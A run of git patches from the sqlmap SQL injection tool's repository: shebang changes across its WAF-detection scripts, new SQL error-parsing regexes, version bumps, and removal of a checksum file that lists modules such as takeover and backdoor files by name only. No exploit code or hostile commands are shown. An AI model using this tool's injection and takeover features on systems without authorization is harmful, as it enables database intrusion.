sqlmap developers (http://sqlmap.org/) diff --git a/waf/cloudbric.py b/waf/cloudbric.py index 6f2931f55e2..78d4a177755 100644 --- a/waf/cloudbric.py +++ b/waf/cloudbric.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/cloudflare.py b/waf/cloudflare.py index 2112eba936f..20a35736d04 100644 --- a/waf/cloudflare.py +++ b/waf/cloudflare.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/cloudfront.py b/waf/cloudfront.py index 230c1fcb760..fe5921f0d4f 100644 --- a/waf/cloudfront.py +++ b/waf/cloudfront.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/comodo.py b/waf/comodo.py index 6fd2c114a12..12cb108ffb4 100644 --- a/waf/comodo.py +++ b/waf/comodo.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/crawlprotect.py b/waf/crawlprotect.py index 8f0e94ec8fe..2e14828ad98 100644 --- a/waf/crawlprotect.py +++ b/waf/crawlprotect.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/distil.py b/waf/distil.py index e82093864e2..2107794009b 100644 --- a/waf/distil.py +++ b/waf/distil.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/dotdefender.py b/waf/dotdefender.py index cf9c2d01c19..b6b1999d45a 100644 --- a/waf/dotdefender.py +++ b/waf/dotdefender.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/edgecast.py b/waf/edgecast.py index 444ea35d4af..7964a7ba55e 100644 --- a/waf/edgecast.py +++ b/waf/edgecast.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/expressionengine.py b/waf/expressionengine.py index d2cbf57d1a7..53e1f14f405 100644 --- a/waf/expressionengine.py +++ b/waf/expressionengine.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/fortiweb.py b/waf/fortiweb.py index 68619bcae07..34af5972f7d 100644 --- a/waf/fortiweb.py +++ b/waf/fortiweb.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/generic.py b/waf/generic.py index 4f4fabb5fe0..6fa4e44193c 100644 --- a/waf/generic.py +++ b/waf/generic.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/godaddy.py b/waf/godaddy.py index fdbdba1d024..cfba8cf625a 100644 --- a/waf/godaddy.py +++ b/waf/godaddy.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/greywizard.py b/waf/greywizard.py index b26f4415063..ff38fc329f3 100644 --- a/waf/greywizard.py +++ b/waf/greywizard.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/imunify360.py b/waf/imunify360.py index 6383f7a377e..0fd8d604c74 100644 --- a/waf/imunify360.py +++ b/waf/imunify360.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/incapsula.py b/waf/incapsula.py index fb8b8655a97..720f9efa528 100644 --- a/waf/incapsula.py +++ b/waf/incapsula.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/isaserver.py b/waf/isaserver.py index 2f4f11137f5..a5b8753391a 100644 --- a/waf/isaserver.py +++ b/waf/isaserver.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/janusec.py b/waf/janusec.py index 442236e7cdf..43ed78ede16 100644 --- a/waf/janusec.py +++ b/waf/janusec.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/jiasule.py b/waf/jiasule.py index 465cdcf75f2..42be6b500e1 100644 --- a/waf/jiasule.py +++ b/waf/jiasule.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/knownsec.py b/waf/knownsec.py index fc6f629b864..91b807e25d8 100644 --- a/waf/knownsec.py +++ b/waf/knownsec.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/kona.py b/waf/kona.py index c6c8bfaf879..21f9bc42434 100644 --- a/waf/kona.py +++ b/waf/kona.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/malcare.py b/waf/malcare.py index 6180962a79d..8932a460891 100644 --- a/waf/malcare.py +++ b/waf/malcare.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/modsecurity.py b/waf/modsecurity.py index 0d5400b2764..5a0b27783e0 100644 --- a/waf/modsecurity.py +++ b/waf/modsecurity.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/naxsi.py b/waf/naxsi.py index 494d91db72c..b714f4528d7 100644 --- a/waf/naxsi.py +++ b/waf/naxsi.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/netscaler.py b/waf/netscaler.py index c3a5472fd34..c7d4cfe656e 100644 --- a/waf/netscaler.py +++ b/waf/netscaler.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/newdefend.py b/waf/newdefend.py index 720d5544490..9291821df06 100644 --- a/waf/newdefend.py +++ b/waf/newdefend.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/ninjafirewall.py b/waf/ninjafirewall.py index 5e7ef1377a3..001702d89d3 100644 --- a/waf/ninjafirewall.py +++ b/waf/ninjafirewall.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/onmessageshield.py b/waf/onmessageshield.py index b5c613702f3..c3f23d0310f 100644 --- a/waf/onmessageshield.py +++ b/waf/onmessageshield.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/paloalto.py b/waf/paloalto.py index ef059653107..b0aefc53de1 100644 --- a/waf/paloalto.py +++ b/waf/paloalto.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/perimeterx.py b/waf/perimeterx.py index f034dd5306c..9d7a5960647 100644 --- a/waf/perimeterx.py +++ b/waf/perimeterx.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/profense.py b/waf/profense.py index 85ad6d22e14..b8b8e96099a 100644 --- a/waf/profense.py +++ b/waf/profense.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/proventia.py b/waf/proventia.py index 3aca6a3d66c..fed50242cad 100644 --- a/waf/proventia.py +++ b/waf/proventia.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/radware.py b/waf/radware.py index 560a50fe1b7..2b3f834ad84 100644 --- a/waf/radware.py +++ b/waf/radware.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/reblaze.py b/waf/reblaze.py index 0dd5c6546b7..85f6f12fffb 100644 --- a/waf/reblaze.py +++ b/waf/reblaze.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/requestvalidationmode.py b/waf/requestvalidationmode.py index ec651de899a..7bec15a2798 100644 --- a/waf/requestvalidationmode.py +++ b/waf/requestvalidationmode.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/rsfirewall.py b/waf/rsfirewall.py index 1ead81293ef..de9a5ed4781 100644 --- a/waf/rsfirewall.py +++ b/waf/rsfirewall.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/safe3.py b/waf/safe3.py index 81d6cbe5950..ed2496f3445 100644 --- a/waf/safe3.py +++ b/waf/safe3.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/safedog.py b/waf/safedog.py index 91f2726c32f..cedd59c4d78 100644 --- a/waf/safedog.py +++ b/waf/safedog.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/secureentry.py b/waf/secureentry.py index 601f13b2264..e0c46646fc2 100644 --- a/waf/secureentry.py +++ b/waf/secureentry.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/secureiis.py b/waf/secureiis.py index b9b3f48397f..6f496849560 100644 --- a/waf/secureiis.py +++ b/waf/secureiis.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/securesphere.py b/waf/securesphere.py index 48f2a7a3dcc..be73464d849 100644 --- a/waf/securesphere.py +++ b/waf/securesphere.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/senginx.py b/waf/senginx.py index 33c3c6d8f3e..3700a5f3655 100644 --- a/waf/senginx.py +++ b/waf/senginx.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/shieldsecurity.py b/waf/shieldsecurity.py index 9c9c84b5e31..a757620a12c 100644 --- a/waf/shieldsecurity.py +++ b/waf/shieldsecurity.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/siteground.py b/waf/siteground.py index ff6d2071328..967a9f44d62 100644 --- a/waf/siteground.py +++ b/waf/siteground.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/siteguard.py b/waf/siteguard.py index 9a0498fa56e..586dfee3b5a 100644 --- a/waf/siteguard.py +++ b/waf/siteguard.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/sitelock.py b/waf/sitelock.py index 09d611f152c..aa532d3893f 100644 --- a/waf/sitelock.py +++ b/waf/sitelock.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/sonicwall.py b/waf/sonicwall.py index 49a54503183..2ddaa995b2b 100644 --- a/waf/sonicwall.py +++ b/waf/sonicwall.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/sophos.py b/waf/sophos.py index 5ff97abf1d0..35c101659ba 100644 --- a/waf/sophos.py +++ b/waf/sophos.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/squarespace.py b/waf/squarespace.py index 143b55bd693..94ddff71463 100644 --- a/waf/squarespace.py +++ b/waf/squarespace.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/stackpath.py b/waf/stackpath.py index 74478ccc9ae..212125b0565 100644 --- a/waf/stackpath.py +++ b/waf/stackpath.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/sucuri.py b/waf/sucuri.py index 33cf57a7078..837e7820c97 100644 --- a/waf/sucuri.py +++ b/waf/sucuri.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/tencent.py b/waf/tencent.py index d5dfed212f9..c068c6a1f97 100644 --- a/waf/tencent.py +++ b/waf/tencent.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/trafficshield.py b/waf/trafficshield.py index a2b830eed38..3b642255a02 100644 --- a/waf/trafficshield.py +++ b/waf/trafficshield.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/urlmaster.py b/waf/urlmaster.py index 65d31c03bb0..55fdbcbc116 100644 --- a/waf/urlmaster.py +++ b/waf/urlmaster.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/urlscan.py b/waf/urlscan.py index e3206c33a61..523ba5389d3 100644 --- a/waf/urlscan.py +++ b/waf/urlscan.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/varnish.py b/waf/varnish.py index f92ade613d0..440937a295f 100644 --- a/waf/varnish.py +++ b/waf/varnish.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/virusdie.py b/waf/virusdie.py index 69c0ff76ce6..2f5bd77da33 100644 --- a/waf/virusdie.py +++ b/waf/virusdie.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/wallarm.py b/waf/wallarm.py index 3c98c436ace..2a006ea7490 100644 --- a/waf/wallarm.py +++ b/waf/wallarm.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/watchguard.py b/waf/watchguard.py index 538a565a108..b9bd1a007fb 100644 --- a/waf/watchguard.py +++ b/waf/watchguard.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/webknight.py b/waf/webknight.py index 7fbdc6f7b27..f4141686b06 100644 --- a/waf/webknight.py +++ b/waf/webknight.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/webseal.py b/waf/webseal.py index 4fa6ec2d363..b32c8128510 100644 --- a/waf/webseal.py +++ b/waf/webseal.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/wordfence.py b/waf/wordfence.py index 2b7ef485336..473273c7787 100644 --- a/waf/wordfence.py +++ b/waf/wordfence.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/wts.py b/waf/wts.py index b729cbdc2b8..493a3b19614 100644 --- a/waf/wts.py +++ b/waf/wts.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/yundun.py b/waf/yundun.py index ac753ce9871..3a5fb2672dd 100644 --- a/waf/yundun.py +++ b/waf/yundun.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/yunsuo.py b/waf/yunsuo.py index d51da493558..543b4c505e3 100644 --- a/waf/yunsuo.py +++ b/waf/yunsuo.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/waf/zenedge.py b/waf/zenedge.py index d15ca0fc341..1a07975f500 100644 --- a/waf/zenedge.py +++ b/waf/zenedge.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) From 7d807bfdee4af8f48d59fc72aeca5bcc46d7f1fb Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Thu, 21 Mar 2019 16:35:48 +0100 Subject: [PATCH 166/800] Minor update for #3540 --- lib/core/common.py | 2 +- lib/core/settings.py | 7 ++++--- txt/checksum.md5 | 10 +++++----- 3 files changed, 10 insertions(+), 9 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index a79783bac1f..96ec51808c8 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2575,7 +2575,7 @@ def extractErrorMessage(page): if isinstance(page, basestring): for regex in ERROR_PARSING_REGEXES: - match = re.search(regex, page, re.DOTALL | re.IGNORECASE) + match = re.search(regex, page, re.IGNORECASE) if match: retVal = htmlunescape(match.group("result")).replace("<br>", "\n").strip() diff --git a/lib/core/settings.py b/lib/core/settings.py index 537a5295827..c8eec355cc2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.41" +VERSION = "1.3.3.42" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -341,10 +341,11 @@ r"<b>[^<]*(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>[^<]+)", r"(?m)^\s*(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$", r"(?P<result>[^\n>]*SQL Syntax[^\n<]+)", - r"<li>Error Type:<br>(?P<result>.+?)</li>", + r"(?s)<li>Error Type:<br>(?P<result>.+?)</li>", r"CDbCommand (?P<result>[^<>\n]*SQL[^<>\n]+)", r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P<result>[^<>]+)", - r"\[[^\n\]]+(ODBC|JDBC)[^\n\]]+\](\[[^\]]+\])?(?P<result>[^\n]+(in query expression|\(SQL| at /[^ ]+pdo)[^\n<]+)" + r"\[[^\n\]]+(ODBC|JDBC)[^\n\]]+\](\[[^\]]+\])?(?P<result>[^\n]+(in query expression|\(SQL| at /[^ ]+pdo)[^\n<]+)", + r"(?P<result>query error: SELECT[^<>]+)" ) # Regular expression used for parsing charset info from meta html headers diff --git a/txt/checksum.md5 b/txt/checksum.md5 index d147c3998e7..beb16574784 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -30,7 +30,7 @@ d2f16a0c90b0ecb243546a1fce32ba96 lib/controller/action.py cdf3f6e677253f1c85e0b12d9d0d0ac3 lib/controller/__init__.py e008d08816bc6e0292a047f1b616ebf4 lib/core/agent.py feeb75a68f33dcff51444c099cbbe3b6 lib/core/bigarray.py -1940b15d77ecbbb4a5966f6eac79268d lib/core/common.py +65a6761adc87f2814e3d76d51c952bf8 lib/core/common.py bff6edec052a332cf7c3a25de2292be5 lib/core/convert.py fc68e9a9a74f4669f1529a4adafe54ba lib/core/data.py 04f31ac8b246702b56e57e14faada990 lib/core/datatype.py @@ -50,7 +50,7 @@ f9261e266cab488e2cef15ff7e84ac48 lib/core/profiling.py 63d062fc8c56aac57482a1f3426ae7e0 lib/core/replication.py 66562a9b10fcbce0fffb59e135488bd8 lib/core/revision.py 8a7e4504d993fe48f8e4f7eba13a3872 lib/core/session.py -9186e4d5de340f691fdfa316db3c499e lib/core/settings.py +9e54b182f04dda451e24dde4a92f8594 lib/core/settings.py 58ab4b664a302ae2dd8c5e0b260e6721 lib/core/shell.py e183a665408f58c916a35515e12db1bc lib/core/subprocessng.py f44f690e595b4643be7cbad5b73ef1ec lib/core/target.py @@ -84,7 +84,7 @@ f96905845038af6fd080a8ffa839ae55 lib/request/pkihandler.py 0d1bb5a48658c4486d79849dea5ed269 lib/request/rangehandler.py 3c9dd1d1e5c8318d8eb8475c77272b66 lib/request/redirecthandler.py 208fe0d13147116c0f245456128916fc lib/request/templates.py -e834f25ac9df5d132d1f98c15e0906d2 lib/takeover/abstraction.py +c503e17d168625484f5658c0b64ad704 lib/takeover/abstraction.py a2c7cf0b4dfb19eab7e93811d03bc9d2 lib/takeover/icmpsh.py cdf3f6e677253f1c85e0b12d9d0d0ac3 lib/takeover/__init__.py ce852eb7d5a8cd66b377a84a0815a6c7 lib/takeover/metasploit.py @@ -199,7 +199,7 @@ d601ec89d64e2e211f4b0d15c5bf22d5 plugins/dbms/oracle/fingerprint.py 719c131fbc4f74796d6dae2b7333b197 plugins/dbms/postgresql/fingerprint.py 99f0e899c15d3c01cbc266d9d4448df5 plugins/dbms/postgresql/__init__.py 49c98c39248a0adcc31875967f99dbfb plugins/dbms/postgresql/syntax.py -432351a251e25d12b82f9b63810c27a3 plugins/dbms/postgresql/takeover.py +499078b1a420d00fb5e8dbe584bf511d plugins/dbms/postgresql/takeover.py a065feb709bc13bdf2fe706a3c7e543c plugins/dbms/sqlite/connector.py d7440da70f6ac8dbffb48ae8fcdfbc15 plugins/dbms/sqlite/enumeration.py 0dd7e4738edaabf4e196a8872cab9749 plugins/dbms/sqlite/filesystem.py @@ -225,7 +225,7 @@ cdf3f6e677253f1c85e0b12d9d0d0ac3 plugins/generic/__init__.py 1d619413aa8675327948b2d3db8bc5f1 plugins/generic/misc.py ef814300e06a5e964b9b9a7e0a947df8 plugins/generic/search.py f5dbeb862d3aaeab758c23673fb2e77b plugins/generic/syntax.py -d59d8400cceadcbebbfc6e1eb527cf4e plugins/generic/takeover.py +f6ecac1f817e10dd9edc0b8bd61695a1 plugins/generic/takeover.py a90f0eb5c931c812023f10dca0fc73ec plugins/generic/users.py cdf3f6e677253f1c85e0b12d9d0d0ac3 plugins/__init__.py 5dc693e22f5d020c5c568d7325bd4226 shell/backdoors/backdoor.asp_ From 5ced273b8a0d70ec523785a0572962bd46d71335 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Thu, 21 Mar 2019 16:40:20 +0100 Subject: [PATCH 167/800] Minor cleanup --- extra/shutils/precommit-hook.sh | 5 - extra/shutils/pypi.sh | 1 - lib/core/settings.py | 2 +- txt/checksum.md5 | 504 -------------------------------- 4 files changed, 1 insertion(+), 511 deletions(-) delete mode 100644 txt/checksum.md5 diff --git a/extra/shutils/precommit-hook.sh b/extra/shutils/precommit-hook.sh index 00804eb4da5..9a25d123bb7 100755 --- a/extra/shutils/precommit-hook.sh +++ b/extra/shutils/precommit-hook.sh @@ -12,13 +12,11 @@ chmod +x .git/hooks/pre-commit PROJECT="../../" SETTINGS="../../lib/core/settings.py" -CHECKSUM="../../txt/checksum.md5" declare -x SCRIPTPATH="${0}" PROJECT_FULLPATH=${SCRIPTPATH%/*}/$PROJECT SETTINGS_FULLPATH=${SCRIPTPATH%/*}/$SETTINGS -CHECKSUM_FULLPATH=${SCRIPTPATH%/*}/$CHECKSUM git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0 @@ -37,6 +35,3 @@ then fi git add "$SETTINGS_FULLPATH" fi - -truncate -s 0 "$CHECKSUM_FULLPATH" -cd $PROJECT_FULLPATH && for i in $(find . -name "*.py" -o -name "*.xml" -o -name "*_" -o -type f -regex "./[^./]*" | sort); do git ls-files $i --error-unmatch &>/dev/null && md5sum $i | stdbuf -i0 -o0 -e0 sed 's/\.\///' >> "$CHECKSUM_FULLPATH"; git add "$CHECKSUM_FULLPATH"; done diff --git a/extra/shutils/pypi.sh b/extra/shutils/pypi.sh index f96bc2d4f89..b73c311671d 100755 --- a/extra/shutils/pypi.sh +++ b/extra/shutils/pypi.sh @@ -177,7 +177,6 @@ Links EOF sed -i "s/^VERSION =.*/VERSION = \"$VERSION\"/g" sqlmap/lib/core/settings.py sed -i "s/^TYPE =.*/TYPE = \"$TYPE\"/g" sqlmap/lib/core/settings.py -sed -i "s/.*lib\/core\/settings\.py/`md5sum sqlmap/lib/core/settings.py | cut -d ' ' -f 1` lib\/core\/settings\.py/g" sqlmap/txt/checksum.md5 for file in $(find sqlmap -type f | grep -v -E "\.(git|yml)"); do echo include $file >> MANIFEST.in; done python setup.py sdist upload rm -rf $TMP_DIR diff --git a/lib/core/settings.py b/lib/core/settings.py index c8eec355cc2..9996d9319ea 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.42" +VERSION = "1.3.3.43" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 deleted file mode 100644 index beb16574784..00000000000 --- a/txt/checksum.md5 +++ /dev/null @@ -1,504 +0,0 @@ -7ad922bcc16462a101862b1b0b15182f COMMITMENT -2a1a72cc164151e12cd207a476603051 extra/beep/beep.py -cdf3f6e677253f1c85e0b12d9d0d0ac3 extra/beep/__init__.py -3ee776427b69e184d5ddd5f10c1144e6 extra/cloak/cloak.py -cdf3f6e677253f1c85e0b12d9d0d0ac3 extra/cloak/__init__.py -e588bb3cdd310ef6053c3a9f1cd4d7e4 extra/dbgtool/dbgtool.py -cdf3f6e677253f1c85e0b12d9d0d0ac3 extra/dbgtool/__init__.py -acba8b5dc93db0fe6b2b04ff0138c33c extra/icmpsh/icmpsh.exe_ -09f857c67b667f7d18ca7a4599968dc7 extra/icmpsh/icmpsh_m.py -bac9cd2a6c748bcbd2c6ff0fb6a01e15 extra/icmpsh/__init__.py -cdf3f6e677253f1c85e0b12d9d0d0ac3 extra/__init__.py -ff90cb0366f7cefbdd6e573e27e6238c extra/runcmd/runcmd.exe_ -cdf3f6e677253f1c85e0b12d9d0d0ac3 extra/safe2bin/__init__.py -4055e071c6c90d5fec6be7299eb05db8 